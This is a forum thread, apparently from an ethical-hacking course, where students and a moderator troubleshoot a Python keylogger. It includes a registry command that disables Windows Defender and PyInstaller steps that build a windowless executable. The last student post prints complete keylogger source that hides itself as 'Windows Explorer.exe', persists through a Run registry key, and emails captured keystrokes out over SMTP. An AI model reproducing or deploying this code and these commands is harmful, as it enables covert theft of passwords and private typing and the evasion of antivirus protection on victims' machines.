- This topic has 26 replies, 3 voices, and was last updated 3 weeks ago by
Diego Pérez.
- AuthorPosts
- August 9, 2020 at 6:34 pm #43910
sultand
ParticipantDear Diego,
Thank you for your reply, I look forward to hear from you.
SultanD
August 11, 2020 at 5:30 am #43989Diego Pérez
ModeratorHi Sultand!
I tested your code and work as expected! The persistent function you wrote worked fine, I just have to disable permanently defender and it worked. I didn’t change anything in it but the credentials for the email, by the way remove the file that has your email credentials from dropbox, we never know.
I compile it from kali without issues. The command used for permanently disable defender is: (You have to open a command prompt as Administrator)
REG ADD “HKLM\SOFTWARE\Policies\Microsoft\Windows Defender” /v DisableAntiSpyware /t REG_DWORD /d 1 /f
You can reboot from the windows menu, just click the windows icon in bottom left corner and select restart, then this time defender will be disabled by default.
Hope it helps!
DiegoAugust 13, 2020 at 10:09 pm #44131sultand
ParticipantDear Diego,
I followed your instruction and tried to permanently disable defender and I got error message, I then use windows security to disable the real-time protection and try to run the keylogger and I am still get a fatal error detected ‘failed to execute script zlogger’
Can you make a short video showing me how you are able to make the keylogger persistent, it will really help me because this is the most important thing for me in this course.
Once again thank you for your time and efforts.
Sultan.
August 14, 2020 at 2:57 am #44134Diego Pérez
ModeratorHi!
As mentioned before I dind’t changed anything in your code, it actually works. I just compiled it in kali. Which commands are you using for compiling it?
I think the error is there.Let me know.
DiegoAugust 14, 2020 at 10:25 pm #44188sultand
ParticipantAugust 15, 2020 at 7:12 am #44195Diego Pérez
ModeratorHi!
Which file is zlogger.py? Is it the one calling the class? Because the ones you shared had a different name so don’t exactly know.Let me know.
DiegoAugust 15, 2020 at 8:22 am #44199sultand
ParticipantHi Diego,
Yes the zlogger.py is the one calling the class.
Can you show me how you complied it and it worked for you.
Thank you
Sultand
August 16, 2020 at 3:21 am #44217Diego Pérez
ModeratorHi!
Yeah, the files you shared were labeled Keylogger_1.py, which has the class, and Keylogger_2.py which is the one who call the class.
So I put them in the same directory, change the call inside Keylogger_2.py to call the proper Keylogger_1.py class, then enter my email credentials in the script and finally run the command:wine /root/.wine/drive_c/Python27/Scripts/pyinstaller.exe Keylogger_2.py –onefile –noconsole
Then I sent the executable inside the dist directory and it worked.
Hope it helps!
DiegoAugust 16, 2020 at 11:01 pm #44270sultand
ParticipantHi Diego,
The files i shared with you is labeled keylogger.py which has the class and zlogger.py is the one that calls the class. For me it also in the same directory but giving me fatal error.
My problem is only when i want to make it persistent because before then, it worked fine.
Please can you make a quick short video showing how you made yours persistent so that I can follow your steps.
Thank you.
Sultand
August 17, 2020 at 3:23 am #44281Diego Pérez
ModeratorHi!
As mentioned I only used your code, compiled it in kali and ran it in windows. There’s no trick or anything extra. Just disable defender before running it and make shure your windows machine has internet access.
Maybe try with this article to permanently disable defender:
https://www.windowscentral.com/how-permanently-disable-windows-defender-windows-10Hope it helps!
DiegoFebruary 8, 2025 at 9:14 pm #204259Sylvester Peter
ParticipantHello Sir, I’m having this Error when i run my keylogger persistent. Please can you check it and correct my mistakes as I am not able to get it to work, giving fetal error message
Here’s the Codes i used…. also screenshot attached…
#!/usr/bin/env python
import pynput.keyboard
import threading
import smtplib
import subprocess
import os
import sys
import shutil
class Keylogger:
def __init__(self, time_interval, email, password):
self.become_persistent()
self.log = “Keylogger started”
self.interval = time_interval
self.email = email
self.password = password
def become_persistent(self):
evil_file_location = os.environ[“appdata”] + “\\Windows Explorer.exe”
if not os.path.exists(evil_file_location):
shutil.copyfile(sys.executable, evil_file_location)
subprocess.call(“reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v update /t REG_SZ /d “” + evil_file_location + “” shell=True)
def append_to_log(self, string):
self.log = self.log + string
def process_key_press(self, key):
try:
current_key = str(key.char)
except AttributeError:
if key == key.space:
current_key = ” ”
else:
current_key = ” ” + str(key) + ” ”
self.append_to_log(current_key)
def report(self):
self.send_mail(self.email, self.password, “\n\n” + self.log)
self.log = “”
timer = threading.Timer(self.interval, self.report)
timer.start()
def send_mail(self, email, password, message):
server = smtplib.SMTP(“smtp.gmail.com”, 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
def start(self):
keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press)
with keyboard_listener:
self.report()
keyboard_listener.join()
===================================
ZLogger Function Part Below#!/usr/bin/env python
import keyloggermy_keylogger = keylogger.Keylogger(120, “[email protected]”, “npsalanlcdxlqbve”)
my_keylogger.start()Attachments:
You must be logged in to view attached files.February 10, 2025 at 6:43 pm #204450Diego Pérez
ModeratorHi!
I have already answered your other question. Avoid asking the same in different threads.Greetings!
Diego - AuthorPosts
- You must be logged in to reply to this topic.